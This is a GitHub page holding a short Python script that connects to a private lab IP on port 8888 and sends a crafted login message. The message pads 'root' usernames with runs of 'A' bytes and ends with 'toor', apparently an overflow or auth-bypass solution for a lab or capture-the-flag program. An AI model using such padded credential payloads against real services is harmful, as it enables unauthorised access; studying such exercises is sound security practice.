-
Notifications
You must be signed in to change notification settings - Fork 1
/
connect.py
39 lines (36 loc) · 1.09 KB
/
connect.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/python
"""
This code will send the correct message to the program and print the reply back to the client.
usage:
Change the IP address to where program listens.
Start the script.
Check the reply from server.
"""
import socket
from core.colors import *
# IP = '192.168.188.135'
IP = '192.168.188.140'
PORT = 8888
try:
print(f"{run} Trying to connect to {underline}{IP}{end} at port {underline}{PORT}{end}...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(f"{good} Connection Established!")
except Exception as e:
print(f"{bad} Error in connecting to {underline}{IP}{end} at port {underline}{PORT}{end}... Try Again")
print(e)
exit()
username_prefixes = '0'
def authenticate():
msg = 'A'
msg += '\x0a'
msg += username_prefixes + 'root' + '\x00'
msg += '\x41' * 43
msg += username_prefixes + 'root' + '\x00'
msg += '\x41' * 43
msg += username_prefixes + 'toor'
s.send(msg.encode())
data = s.recv(1024).decode()
print("Client Says: " + msg)
print("Server Reply: " + data)
authenticate()